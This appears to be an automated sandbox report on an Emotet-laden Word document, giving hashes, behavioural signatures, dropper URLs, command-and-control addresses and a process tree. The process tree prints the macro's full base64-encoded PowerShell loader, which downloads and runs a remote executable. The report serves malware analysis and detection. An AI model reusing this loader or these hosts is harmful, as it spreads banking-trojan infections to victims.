Overview

overview

10

Static

static

8

emotet_doc

windows7_x64

10

Analysis

  • max time kernel
    29s
  • max time network
    53s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17/07/2020, 23:53

Sharing

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General

  • Target

    23bdf0f9e6bb6781103d269148128d330659486a1d1561d19ea0dd0e0c20256a.doc

  • Size

    196KB

  • MD5

    74b2ca508593b872fb74336d3fedb7c0

  • SHA1

    e2c1304645fa38424290fb6a220d6ce93af4ed1c

  • SHA256

    23bdf0f9e6bb6781103d269148128d330659486a1d1561d19ea0dd0e0c20256a

  • SHA512

    10abea6400cbf94c0f9d30229dedda95cea231c6c6bbf5b66fa9796c86f5dd96ad799c071de91616eac293fd6e86e3e85efe2d2492656ad441d792ced77d6f4a

Score
10/10
trojanbankeremotetdiscovery

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://aliyousefpoor.com/wp-admin/Gkt8B41139/
exe.dropper

http://www.szhealthshield.com/websiteguide/k82i/
exe.dropper

https://digitalcon7.net/wp-snapshots/0Wn/
exe.dropper

https://exam.ylsbmeirong.com/data/tjEyH973/
exe.dropper

http://abatiy.com/yaa/po0395/

Extracted

Family

emotet

C2

177.144.135.2:80

104.247.221.104:443

201.213.32.59:80

190.147.137.153:443

178.79.163.131:8080

190.17.195.202:80

212.71.237.140:8080

68.183.190.199:8080

12.162.84.2:8080

186.250.52.226:8080

181.129.96.162:8080

185.94.252.12:80

77.55.211.77:8080

177.72.13.80:80

70.32.115.157:8080

114.109.179.60:80

68.183.170.114:8080

5.196.35.138:7080

87.106.46.107:8080

190.163.1.31:8080
rsa_pubkey.plain

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Executes dropped EXE 2 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\23bdf0f9e6bb6781103d269148128d330659486a1d1561d19ea0dd0e0c20256a.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    • Modifies registry class
    PID:1060
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABoAGEAdQBoAHEAdQBhAGMAdgBvAGUAbQBuAGkAbwB2AGsAbwB1AHoAPQAnAGQAYQB3AHEAdQBpAG8AYgBkAGEAdQBjAGgAdgBpAGUAYgBxAHUAZQBhAGQAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAcwBlAEMAVQBSAEkAdABZAGAAUABSAGAATwBgAFQATwBDAG8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAHcAaQBlAHAAeABlAGkAYwB3AGUAYQBnAGMAbwBvAGcAYgBpAGEAbABqAG8AcQB1ACAAPQAgACcAOQAzADMAJwA7ACQAdABlAGEAZwBzAGUAaQB2AG4AaQBvAHgAagBhAG8AcQB1AD0AJwBsAGUAbwBrAGcAbwB1AGoAagBlAGUAYgBiAGEAZQBoACcAOwAkAHAAdQB1AHIAdABoAGUAcwB5AGUAYQB5AHMAaQBuAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB3AGkAZQBwAHgAZQBpAGMAdwBlAGEAZwBjAG8AbwBnAGIAaQBhAGwAagBvAHEAdQArACcALgBlAHgAZQAnADsAJABjAGEAdQBtAHQAbwBlAHEAdQBrAGEAYwBjAGgAaQBvAGgAZwBlAGUAcwBiAHUAbAA9ACcAZgBvAGkAcgBmAGEAbwB6AGMAbwB6AGgAaQBhAGwAcQB1AGEAdQBzACcAOwAkAHQAaABhAGkAdABrAGEAZQByAHoAdQB1AGYAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBlAEIAQwBMAEkARQBOAFQAOwAkAHMAZQBhAG0AcQB1AG8AdQB3AGMAaABlAHUAYwBoAHgAYQB1AGcAegBlAGkAagA9ACcAaAB0AHQAcABzADoALwAvAGEAbABpAHkAbwB1AHMAZQBmAHAAbwBvAHIALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAEcAawB0ADgAQgA0ADEAMQAzADkALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBzAHoAaABlAGEAbAB0AGgAcwBoAGkAZQBsAGQALgBjAG8AbQAvAHcAZQBiAHMAaQB0AGUAZwB1AGkAZABlAC8AawA4ADIAaQAvACoAaAB0AHQAcABzADoALwAvAGQAaQBnAGkAdABhAGwAYwBvAG4ANwAuAG4AZQB0AC8AdwBwAC0AcwBuAGEAcABzAGgAbwB0AHMALwAwAFcAbgAvACoAaAB0AHQAcABzADoALwAvAGUAeABhAG0ALgB5AGwAcwBiAG0AZQBpAHIAbwBuAGcALgBjAG8AbQAvAGQAYQB0AGEALwB0AGoARQB5AEgAOQA3ADMALwAqAGgAdAB0AHAAOgAvAC8AYQBiAGEAdABpAHkALgBjAG8AbQAvAHkAYQBhAC8AcABvADAAMwA5ADUALwAnAC4AIgBTAGAAcABsAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAGQAYQBvAGYAcgBhAG8AdABwAGEAbwB0AHYAdQBhAHcAPQAnAHcAZQBhAHoAdABlAHUAZABjAGUAaQBnAGMAbwBlAHcAdABoAGUAaQB4AG0AZQB1AHcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGwAbwBpAG0AeABlAG8AbgBtAG8AYQB3ACAAaQBuACAAJABzAGUAYQBtAHEAdQBvAHUAdwBjAGgAZQB1AGMAaAB4AGEAdQBnAHoAZQBpAGoAKQB7AHQAcgB5AHsAJAB0AGgAYQBpAHQAawBhAGUAcgB6AHUAdQBmAC4AIgBEAGAATwB3AG4ATABgAG8AYQBkAGYASQBMAEUAIgAoACQAbABvAGkAbQB4AGUAbwBuAG0AbwBhAHcALAAgACQAcAB1AHUAcgB0AGgAZQBzAHkAZQBhAHkAcwBpAG4AKQA7ACQAcwBvAGkAbgB3AGEAegBtAGUAaQBrAGgAZQBvAHYAdABoAGEAdQBqAGYAbwBpAHgAPQAnAG0AYQBlAHIAZABvAHUAZwBsAG8AaQBtAGcAbwBhAHQAaABjAHUAdQBjACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAcAB1AHUAcgB0AGgAZQBzAHkAZQBhAHkAcwBpAG4AKQAuACIATABgAEUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMANwA2ADMAOQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBgAFIAZQBhAHQARQAiACgAJABwAHUAdQByAHQAaABlAHMAeQBlAGEAeQBzAGkAbgApADsAJABiAGEAZQB3AD0AJwB5AG8AdAB3AGEAaQB2AG0AbwBvAGsAcwBhAG8AYwBoAHQAbwBpAGoAJwA7AGIAcgBlAGEAawA7ACQAYwBpAG8AcwBwAGkAbwBiAHEAdQBhAG8AcwBsAGUAaQB3AD0AJwBqAGEAZQBjAGgAZgB1AHUAYwBoAGoAaQBlAHkAegBhAGUAeQBwAGUAbwB6AHQAaABvAGkAaAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJAB2AGUAZQBjAGwAaQBlAGcAPQAnAHgAdQBqACcA
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Modifies system certificate store
    PID:1052
  • C:\Users\Admin\933.exe
    C:\Users\Admin\933.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1260
    • C:\Windows\SysWOW64\wbemcomn2\KBDLV1.exe
      "C:\Windows\SysWOW64\wbemcomn2\KBDLV1.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:1692

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • memory/1060-2-0x00000000088C0000-0x00000000088C4000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1060-3-0x0000000006DB0000-0x0000000006FB0000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/1060-4-0x0000000006DB0000-0x0000000006FB0000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/1060-5-0x0000000002470000-0x0000000002474000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1060-6-0x00000000024F0000-0x00000000024F4000-memory.dmp

          Filesize

          16KB

          Download

        • memory/1060-7-0x0000000006DB0000-0x0000000006FB0000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/1260-10-0x00000000002E0000-0x00000000002EC000-memory.dmp

          Filesize

          48KB

          Download

        • memory/1692-13-0x0000000000530000-0x000000000053C000-memory.dmp

          Filesize

          48KB

          Download